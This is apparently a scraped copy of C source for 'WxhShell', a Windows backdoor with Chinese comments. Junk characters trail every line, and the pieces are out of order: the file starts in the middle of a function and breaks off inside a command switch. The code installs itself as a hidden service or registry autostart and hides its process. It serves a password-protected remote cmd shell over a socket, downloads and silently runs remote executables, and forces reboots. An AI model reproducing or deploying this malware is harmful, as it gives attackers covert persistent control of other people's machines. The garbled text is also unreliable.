    if(Boot(SHUTDOWN)) K|OPtYeb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z 2jC48~  
    else { Ftd,dqd  
    closesocket(wsh); 9|[uie  
    ExitThread(0); bub6{MQW8e  
    } _!!Fg%a5"R  
    break; 9_?e, Q  
    } O&&_)  
  // 获取shell ~<~ ~C#R  
  case 's': { 74N3wi5B  
    CmdShell(wsh); z&Aya*0v`  
    closesocket(wsh); t\ a|Gp W  
    ExitThread(0); p&5>j\uJ1&  
    break; wOCAGEg  
  } L[A?W  
  // 退出 Yi)s=Q:  
  case 'x': { :YOo"3.]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %K.rrn M  
    CloseIt(wsh); N3*1,/,l .  
    break; G "!v)o  
    } ?L0k|7  
  // 离开 9_,f)2)~W  
  case 'q': { 1Lk(G9CoY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ez.a  
    closesocket(wsh); ;<thEWH;Y  
    WSACleanup(); W amOg0  
    exit(1); )B)f`(SA"<  
    break; t1"#L_<e  
        } hvQXYo>TZx  
  } M_-L#FHX  
  } ipl,{  
6y1\ar(A  
  // 提示信息 yTh%[k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (x?Tjyzw  
} "a}fwg9Y  
  } z6rT<~xZtu  
PHEQG]H S  
  return; kU=U u>  
} m(}}%VeR"z  
2  
// shell模块句柄 &6 <a<S  
int CmdShell(SOCKET sock) h_+  
{ PB7-`uz  
STARTUPINFO si; j;7E+Yp  
ZeroMemory(&si,sizeof(si)); D6l. x]K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9jX_Eoxy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >KvK'Mus/  
PROCESS_INFORMATION ProcessInfo; ^Y+Lf]zz*  
char cmdline[]="cmd"; b GI){0A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kP^A~ZO.  
  return 0; XPD1HN!,LT  
} _H@ATut  
Z<^!N)  
// 自身启动模式 ,W|-?b?   
int StartFromService(void) 02trjp.f  
{ ciiI{T[Z  
typedef struct '21gUYm  
{ )wCNLi>4  
  DWORD ExitStatus; T_=WX_h $  
  DWORD PebBaseAddress; )7.DF|A  
  DWORD AffinityMask; &e;Qabwxva  
  DWORD BasePriority; c-}[v<o  
  ULONG UniqueProcessId; CswKT 9  
  ULONG InheritedFromUniqueProcessId; i%i />;DF  
}   PROCESS_BASIC_INFORMATION; 1JfZstT  
0Ci/-3HV!  
PROCNTQSIP NtQueryInformationProcess; {>9ED.t  
|3yG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #0Y_!'j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %Nv w`H  
qIQRl1Tw;V  
  HANDLE             hProcess; h~](9e s  
  PROCESS_BASIC_INFORMATION pbi; Rz|@BxB>n  
gGUKB2)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g#^MO]pY  
  if(NULL == hInst ) return 0; Iz#4!E|<  
.(.<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !|i #g$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;H.V-~:P)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  Owi/e  
ujS oWs  
  if (!NtQueryInformationProcess) return 0; n=C"pH#  
m,!SD Cq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  fFqYRK  
  if(!hProcess) return 0; @sA!o[gH  
?6&8-zt1?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F]UH\1  
:S_]!'H  
  CloseHandle(hProcess); &JqaIJh   
L 1!V'Hm{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e@anX^M;  
if(hProcess==NULL) return 0; )X[2~E  
/ + %  
HMODULE hMod; nHk^trGm  
char procName[255]; :op_J!;  
unsigned long cbNeeded; ],S {?!'1  
9jqsEd-SW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @v2ko5  
3N|z^6`#  
  CloseHandle(hProcess); Wu'qpJ  
@`:X,]{  
if(strstr(procName,"services")) return 1; // 以服务启动 Q=xXj'W-  
%kV7 <:y  
  return 0; // 注册表启动 ,>S7c  
} ^PezV5(  
y^`JWs,  
// 主模块 Y.]$T8  
int StartWxhshell(LPSTR lpCmdLine) `HkNO@N[  
{ 3u$1W@T(  
  SOCKET wsl; CssE8p>"F  
BOOL val=TRUE; [i ~qVn2vT  
  int port=0; -dBWpT  
  struct sockaddr_in door; ]kTxVe  
3dj|jw5  
  if(wscfg.ws_autoins) Install(); +jwHYfAK)  
`w\P- q  
port=atoi(lpCmdLine); 9yC22C:  
tOLcnWt   
if(port<=0) port=wscfg.ws_port; ~vt9?(h  
:vG0 l\  
  WSADATA data; % J^x `P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p\ ;|Z+0=  
M\5|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qE8aX*A1/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #xw*;hW<  
  door.sin_family = AF_INET; !h7.xl OpN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5HV+7zU5  
  door.sin_port = htons(port); ,_RNZ sa;&  
%csrNf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dz6xx?  
closesocket(wsl); e@ZM&iR  
return 1; m\0_1 #(  
} /~{`!30  
Rt+-ud{O  
  if(listen(wsl,2) == INVALID_SOCKET) { > ]^'h  
closesocket(wsl); l9&k!kF`  
return 1; qrlC U4  
} 9DNp  
  Wxhshell(wsl); SI+Uq(k  
  WSACleanup(); KRC"3Qt  
oIj=ba(n1  
return 0; Nb`qM]&  
(;},~( 2B  
} IUFc_uL@\  
/GC&@y0yi  
// 以NT服务方式启动 F9u?+y-xb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5MAfuHq^  
{ ^F+7<$ 2  
DWORD   status = 0; TjEXR$:<  
  DWORD   specificError = 0xfffffff; =#S.t:HQ*  
JN|6+.GG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1d<Uwb>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aY>v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R; c9)>8L  
  serviceStatus.dwWin32ExitCode     = 0; kygw}|, N  
  serviceStatus.dwServiceSpecificExitCode = 0; PU/<7P*  
  serviceStatus.dwCheckPoint       = 0; 96(Mu% l  
  serviceStatus.dwWaitHint       = 0; 6^ [ 4.D  
|2u=3#Jp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?!U[~Gq  
  if (hServiceStatusHandle==0) return; @I`^\oJ  
hDW!pnj1  
status = GetLastError(); F`QViZ'n>#  
  if (status!=NO_ERROR) nOGTeKjEJ  
{ jRS{7rx%MH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `Zm6e!dH-  
    serviceStatus.dwCheckPoint       = 0; 1^}I?PbqV  
    serviceStatus.dwWaitHint       = 0; ^ U*y*l$  
    serviceStatus.dwWin32ExitCode     = status; *(?Wzanh  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3uqhYT;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wwB3m&  
    return; Lz'VQO1U=  
  } *7jz(iX  
0B]q /G(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +y?Ilkk;j  
  serviceStatus.dwCheckPoint       = 0; Z,.Hz\y1D  
  serviceStatus.dwWaitHint       = 0; Yg^ &4ZF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y#ZgrziYM  
} [7FG;}lB-  
\:WWrY8&  
// 处理NT服务事件,比如:启动、停止 qJrT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c>B1cR  
{ :x*)o+  
switch(fdwControl) IT_I.5*A2  
{ :eVZ5?F  
case SERVICE_CONTROL_STOP: =Xh)34q  
  serviceStatus.dwWin32ExitCode = 0; @i1e0;\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &Vz$0{d5  
  serviceStatus.dwCheckPoint   = 0; 3S:Lce'f  
  serviceStatus.dwWaitHint     = 0; :hX[8u  
  { qq| 5[I.?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ukW&\  
  } FQDf?d5  
  return; N7+L@CC6T  
case SERVICE_CONTROL_PAUSE: -)`_w^Ox  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %L+q:naZe  
  break; L=4+rshl!_  
case SERVICE_CONTROL_CONTINUE: !mmMAsd,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }'$PYAf6  
  break; KhHFJo[8sf  
case SERVICE_CONTROL_INTERROGATE: $')C&  
  break; y2G Us&09  
}; MEiP&=gX!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xo34~V@(  
} |`5 IP8Z  
]dpL PR  
// 标准应用程序主函数 ;Y?MbD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hJ@vlMW  
{ a[-!X7,IU  
69g{oo  
// 获取操作系统版本 'dLw8&T+W  
OsIsNt=GetOsVer(); !*N9PUM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <1D|TrP  
]%' AZ`8  
  // 从命令行安装 Qd[_W^QI  
  if(strpbrk(lpCmdLine,"iI")) Install(); BNu >/zGpB  
0ns\:2)cEB  
  // 下载执行文件 }Y~Dk]*  
if(wscfg.ws_downexe) { zfeT>S+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !@ ^6/=  
  WinExec(wscfg.ws_filenam,SW_HIDE); J7`mEL>?  
} +xFn~b/  
*; o%*:  
if(!OsIsNt) { $.SBW=^V  
// 如果时win9x,隐藏进程并且设置为注册表启动 \#{PV\x:Nn  
HideProc(); *; Jb=  
StartWxhshell(lpCmdLine); /T w{JO#Q  
} 6_Fr\H  
else Ax;[Em?I  
  if(StartFromService())  ?Y(  
  // 以服务方式启动 ,QY$:f<  
  StartServiceCtrlDispatcher(DispatchTable); +1ICX  
else <+roY"  
  // 普通方式启动 ->sxz/L  
  StartWxhshell(lpCmdLine); *NmY]  
$C4~v  
return 0; I\~[GsDY  
} s^wm2/Yw  
bn(N8MFCV  
8>&@"j  
m8q4t ,<J  
=========================================== va6Fp2n<1*  
.uuhoqG0  
>t+U`6xK  
=@HS  
YV O$`W^N  
mptFd  
" /Z:j:l  
No^gKh24  
#include <stdio.h> `2mddx8  
#include <string.h> x< A-Ws{^V  
#include <windows.h> -NBVUUAgN  
#include <winsock2.h> V(MYReaPC]  
#include <winsvc.h> f[@96p ?a[  
#include <urlmon.h> v"USD<   
)9]a  
#pragma comment (lib, "Ws2_32.lib") 8tj]@GE  
#pragma comment (lib, "urlmon.lib") [C'bfX5HB5  
n|(lPbD  
#define MAX_USER   100 // 最大客户端连接数 p5G'})x  
#define BUF_SOCK   200 // sock buffer b6D;98p  
#define KEY_BUFF   255 // 输入 buffer |R`"Zu`  
Ipp_}tl_  
#define REBOOT     0   // 重启 R'>!1\?Iq  
#define SHUTDOWN   1   // 关机 ON :t"z5  
Bn}woyJdx  
#define DEF_PORT   5000 // 监听端口 \T7Mt|f:5  
(jT)o,IW&  
#define REG_LEN     16   // 注册表键长度 Y6` xb`  
#define SVC_LEN     80   // NT服务名长度 6d-\+ t8  
4&iQo'  
// 从dll定义API m2(>KMbi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S,#1^S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OW7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  YKyno?m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;J%:DD  
s|=lKa]d!"  
// wxhshell配置信息 Q Be6\oq  
struct WSCFG { d>QFmsh-  
  int ws_port;         // 监听端口 HBlk~eZ  
  char ws_passstr[REG_LEN]; // 口令 I'/3_AX  
  int ws_autoins;       // 安装标记, 1=yes 0=no LP2~UVq  
  char ws_regname[REG_LEN]; // 注册表键名 st-{xC#N#  
  char ws_svcname[REG_LEN]; // 服务名 uYh!04u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J=g)rd[`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =RoG?gd{R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eV9U+]C`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pv_o4qEN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3:J>-MO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AGlBvRX7e  
G@]3EP  
}; ^HKXm#vAB  
oaIk1U;g  
// default Wxhshell configuration ~k"+5bHa*  
struct WSCFG wscfg={DEF_PORT, '6so(>|  
    "xuhuanlingzhe", g'"~'  
    1, #}`sfaT  
    "Wxhshell", ~6G `k^!  
    "Wxhshell", &7L7|{18  
            "WxhShell Service", @X==[gQ  
    "Wrsky Windows CmdShell Service", q+ax]=w  
    "Please Input Your Password: ", :U6` n  
  1, /bo}I-<2  
  "http://www.wrsky.com/wxhshell.exe", Q6h+.  
  "Wxhshell.exe" <kh.fu@.Q  
    }; -F5B Jk  
honh 'j  
// 消息定义模块 $0])%   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6u[fCGi%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3I6ocj [,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }vndt*F   
char *msg_ws_ext="\n\rExit."; (b&g4$!x&5  
char *msg_ws_end="\n\rQuit."; =sJ?]U  
char *msg_ws_boot="\n\rReboot..."; R\j~X@vI  
char *msg_ws_poff="\n\rShutdown..."; &K ~k'P~m  
char *msg_ws_down="\n\rSave to "; &g`&#IRz  
m,.Y:2?*V  
char *msg_ws_err="\n\rErr!"; +VIA@`4  
char *msg_ws_ok="\n\rOK!"; $:9t(X)H  
c*bvZC^6  
char ExeFile[MAX_PATH]; je] DR~  
int nUser = 0; '&IGdB I  
HANDLE handles[MAX_USER]; I"Oq< _  
int OsIsNt; o Pe|Gfv\G  
x#1 Fi$.  
SERVICE_STATUS       serviceStatus; c~ss^[qx|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  RD$:.   
%OQdUH4x  
// 函数声明 X9x`i  
int Install(void); W06aj ~7Z  
int Uninstall(void); D,#UJPyg  
int DownloadFile(char *sURL, SOCKET wsh); H$![]Ujq  
int Boot(int flag); ,i>`Urd  
void HideProc(void); Bf{u:TCK  
int GetOsVer(void); 7;>|9k  
int Wxhshell(SOCKET wsl); "Q?+T:D8|  
void TalkWithClient(void *cs); HDe\Oty_  
int CmdShell(SOCKET sock); CPz<iU  
int StartFromService(void); ?ZF):}r vZ  
int StartWxhshell(LPSTR lpCmdLine); Ailq,  c  
6v`3/o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GZ%vFje_ K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HC iRk1  
V_7\VKR  
// 数据结构和表定义 {j2V k)\[i  
SERVICE_TABLE_ENTRY DispatchTable[] = mLCD N1UO{  
{ }b_Ob  
{wscfg.ws_svcname, NTServiceMain}, #QNN;&L]R  
{NULL, NULL} AA\a#\#Z3  
}; 'l*X?ccKy  
H& |/|\8F  
// 自我安装 \ .xS  
int Install(void) v~$ V  
{ (W1 $+X  
  char svExeFile[MAX_PATH]; 1@]&iZ]  
  HKEY key; )[rVg/m  
  strcpy(svExeFile,ExeFile); vsGKCrLwh  
Al>d 21U  
// 如果是win9x系统,修改注册表设为自启动 qBEp |V  
if(!OsIsNt) { Tzq@ic#!B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +nYFLe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d$!Q6ux;  
  RegCloseKey(key); g=Xf&}&=x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U1\7Hcs$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 m:h&^`N  
  RegCloseKey(key); X[BP0:`t  
  return 0; R)NSJ-A!2  
    } !%>RHh[  
  } @MSmg3 &  
} p-4$)w~6i  
else { mixsJ}e  
C`5'5/-.  
// 如果是NT以上系统,安装为系统服务 yl[I'fX66  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HTQZIm  
if (schSCManager!=0)  -WC0W  
{ l=?e0d>O  
  SC_HANDLE schService = CreateService (< +A  w7  
  ( u\\t~<8  
  schSCManager, Hw \of  
  wscfg.ws_svcname, $/wm k7T  
  wscfg.ws_svcdisp, WZQ2Mi<&1'  
  SERVICE_ALL_ACCESS, c'oiW)8;A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $ XjijD9R  
  SERVICE_AUTO_START, :ld~9  
  SERVICE_ERROR_NORMAL, {'b;lA]0  
  svExeFile, UtQj<18<  
  NULL, <)7aNW.  
  NULL, b\P:a_vq  
  NULL, (&}[2pb!  
  NULL, )Q2IYCj{  
  NULL U5Hi9fe  
  ); C;W@OS-;  
  if (schService!=0) OBi(]l}^O  
  { }c/p;<  
  CloseServiceHandle(schService); .psb# 4  
  CloseServiceHandle(schSCManager); AC RuDY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s%)f<3=a  
  strcat(svExeFile,wscfg.ws_svcname); ;Y7' U rn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H4g8 1V=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~[;r) g\  
  RegCloseKey(key); V}y]<  
  return 0; BH:A]#_{  
    } (`(D $%  
  } u/=hueR<^  
  CloseServiceHandle(schSCManager); g p:0Y  
} o=rR^Z$G   
} u*C*O4f>OC  
M7=,J;@  
return 1; q5;dQ8Y ?  
} eHr0],  
N/tcW  
// 自我卸载 E)-;sFz  
int Uninstall(void) )r e<NE&M  
{ f,G*e367:  
  HKEY key; [qc1 V%g  
~F"S]  
if(!OsIsNt) { X4%uY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]?6wU-a  
  RegDeleteValue(key,wscfg.ws_regname); 8iIp[9~=  
  RegCloseKey(key); /.]u%;%r[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  2%@tnk|@  
  RegDeleteValue(key,wscfg.ws_regname); ajSB3}PN  
  RegCloseKey(key); T}fo  
  return 0; &gCGc?/R#  
  } P~a@{n*8  
} Q(& @ra!{  
} _dKMBcl)E  
else { 8T1`9ITl:  
T5:Q_o]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Y3w6!$  
if (schSCManager!=0) |=0vgwd"S  
{ 9pLe8D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yCQvo(V[F  
  if (schService!=0) OAXA<  
  { V0;"Qa@q  
  if(DeleteService(schService)!=0) { 7_\G|Zd  
  CloseServiceHandle(schService); !v8R(  
  CloseServiceHandle(schSCManager); Q.N!b 7r7  
  return 0; 4R'CL N |t  
  } a>47k{RSzE  
  CloseServiceHandle(schService); ;W- A2g  
  } 2 7)If E  
  CloseServiceHandle(schSCManager); 5]&sXs  
} }O\IF}X  
} Lm[,^k  
M-@RgWvF  
return 1; ZID-~ 6  
} 2Qe&FeT  
A4zI1QF  
// 从指定url下载文件 pX &bX_F{  
int DownloadFile(char *sURL, SOCKET wsh) /@\`Ibe  
{ CnZ!b_J  
  HRESULT hr; cN@_5  
char seps[]= "/"; [/a AH<9b  
char *token; TtkHMPlm_  
char *file; kL DpZ{  
char myURL[MAX_PATH]; ~vXbh(MX  
char myFILE[MAX_PATH]; 8dR `T}  
t oGiG|L  
strcpy(myURL,sURL); rl}<&aPH  
  token=strtok(myURL,seps); x,C8):\t`B  
  while(token!=NULL) F!z ^0+H(  
  { 2E1`r@L  
    file=token; h *R@ d  
  token=strtok(NULL,seps); r^5%0_F]  
  } bTJ<8q  
p8'$@:M\  
GetCurrentDirectory(MAX_PATH,myFILE); qur2t8gnxq  
strcat(myFILE, "\\"); -riX=K>$  
strcat(myFILE, file); f#z:ILG=  
  send(wsh,myFILE,strlen(myFILE),0); ~dS15E4-Pp  
send(wsh,"...",3,0); e@P(+.Ke  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~cc }yDe  
  if(hr==S_OK) Y"lEMY  
return 0; Ph yIea  
else rt^~ I \V  
return 1; BL&AZv/T  
N**)8(  
} `df!-\#  
O50_qu33ju  
// 系统电源模块 ),yar9C  
int Boot(int flag) YZ>L_$:q  
{ x$q}lJv_  
  HANDLE hToken; z)M#9oAM  
  TOKEN_PRIVILEGES tkp; XP)^81i|  
=\lw.59  
  if(OsIsNt) { # Wi?I =,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~61b^L}$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lJ;Wi  
    tkp.PrivilegeCount = 1; >@7$=Y>D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '> ib K|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m""+ $  
if(flag==REBOOT) { uXc;!*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *47/BLys<  
  return 0; GQYR`;>  
} h^g0|p5  
else { j&X&&=   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^=eC1 bQA  
  return 0; u)<]Pb})r  
} D% jGK  
  } m[eqTh4*  
  else { -6+7&.A+  
if(flag==REBOOT) { x`g,>>&C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $z[S0Cm  
  return 0; oMN<jAU.  
} v#x`c_  
else { n~UI 47  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wH?)ZL  
  return 0; yx Om=V  
} 8xENzTR  
} nG<oae6z"  
~Ykn|$_"I  
return 1; S OI=~BGd)  
} ?Kgb-bXB  
bkd`7(r  
// win9x进程隐藏模块 u@dvFzc  
void HideProc(void) d3:GmB .  
{ ,!_6X9N-h  
# ][i!9$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '4uu@?!dVk  
  if ( hKernel != NULL ) i2Wvu3,D3-  
  { b*Y Wd3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @Fc:9a@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); US$$ADq  
    FreeLibrary(hKernel); %>$<s<y  
  } bB?E(>N;  
g4A{RI  
return; 8)>x)T  
} @ZU$W9g  
OK]QDb  
// 获取操作系统版本 ,gw9R9 x_  
int GetOsVer(void) ]JkEf?;.  
{ u{DEOhtI4  
  OSVERSIONINFO winfo; }`gOfj)?i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KhND pwO"  
  GetVersionEx(&winfo); @$jV"Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cTGd<  
  return 1; %g@?.YxjT  
  else F6}RPk\=i  
  return 0; t~(jA9n  
} ./ {79  
Kn:Ml4[;  
// 客户端句柄模块 U5kKT.M  
int Wxhshell(SOCKET wsl) ['o ueOg  
{ {3x>kRaKci  
  SOCKET wsh; l L;5*@  
  struct sockaddr_in client; Nbr$G=U  
  DWORD myID; :e7\z  
SO6)FiPy!n  
  while(nUser<MAX_USER) XSC=qg$  
{ 0o+Yjg>\~8  
  int nSize=sizeof(client); e4` L8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fz^j3'!\  
  if(wsh==INVALID_SOCKET) return 1; |BFzTz,o  
T^7Cv{[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s21} a,eB  
if(handles[nUser]==0) ^($'l)I  
  closesocket(wsh); xuv W6Q;  
else J[<Zy^"Y;  
  nUser++; jTR?!Mt0  
  } D#LV&4e>.E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r>fGj\#R =  
{]+t<  
  return 0; _94 W@dW  
} J>  
esJ7#Gxt  
// 关闭 socket 1*=ev,Z  
void CloseIt(SOCKET wsh) j"nOxs  
{ W+&5G(z~  
closesocket(wsh); d AcSG  
nUser--; I5M\PK/  
ExitThread(0); KzVi:Hm  
} ^;_~ mq.  
5z_d$.CIc  
// 客户端请求句柄 5VV}wR  
void TalkWithClient(void *cs) 0<%$lr  
{ g[G /If  
^0.8-RT  
  SOCKET wsh=(SOCKET)cs; 7Jlkn=9e:  
  char pwd[SVC_LEN]; a%r!55.   
  char cmd[KEY_BUFF]; BI:Cm/ >  
char chr[1]; ~Y x_ 3  
int i,j; ,Iyc0  
.j:,WF<"l5  
  while (nUser < MAX_USER) { FPYk`D  
tkctwjD  
if(wscfg.ws_passstr) { /Q3>w-h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~W21%T+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); - UkK$wP5  
  //ZeroMemory(pwd,KEY_BUFF); c;kU|_  
      i=0; m,Y/ke\  
  while(i<SVC_LEN) { ZK]qQrIwy  
{J==y;dK  
  // 设置超时 ==[(Mn,%d  
  fd_set FdRead; J|BElBY  
  struct timeval TimeOut; ^^V3nT2rR3  
  FD_ZERO(&FdRead); ~Y/A]N86,  
  FD_SET(wsh,&FdRead); Em(_W5 ND{  
  TimeOut.tv_sec=8;  57q=  
  TimeOut.tv_usec=0; i]c{(gd`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W p)!G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'o IE:#b  
zufphS|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y5sH7`2+5  
  pwd=chr[0]; tLOGj?/r  
  if(chr[0]==0xd || chr[0]==0xa) {  Gk~aTO  
  pwd=0; r)|~Rs!y,  
  break; 2uEI@B  
  } T!H(Y4A  
  i++; } [#8>T  
    } NIQ}A-b  
XKTDBaON  
  // 如果是非法用户,关闭 socket DKS1Sm6d0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3 ZOD2: (  
} A1p~K*[[  
%f'pAc|#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f![] :L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dT0W8oL  
sLA.bp.O  
while(1) { 4<($ZN8  
+S{m!j%B  
  ZeroMemory(cmd,KEY_BUFF); ^# $IoW  
[]A9j ?_w  
      // 自动支持客户端 telnet标准    ]ltCJq  
  j=0; :=hL}(~]  
  while(j<KEY_BUFF) { Yd3lL:M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iTinZ!Ut  
  cmd[j]=chr[0]; fJ/INL   
  if(chr[0]==0xa || chr[0]==0xd) { j9k:!|(2'  
  cmd[j]=0; STwGp<8  
  break; &MpLm&  
  } G Uu8 N  
  j++; O H>.N"IG  
    } 9^!.!%6O$  
9YI@c_1 Q  
  // 下载文件 f$>_>E  
  if(strstr(cmd,"http://")) { c= t4 gf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }p?,J8=-  
  if(DownloadFile(cmd,wsh)) l?)>"^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +~V_^-JG&  
  else wxHd^b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DPf].i#  
  } M<Bo<,!ua  
  else { i]<@  
GgE g(AT  
    switch(cmd[0]) {  z/91v#}.  
  6H0kY/quL|  
  // 帮助 f1:>H.m`  
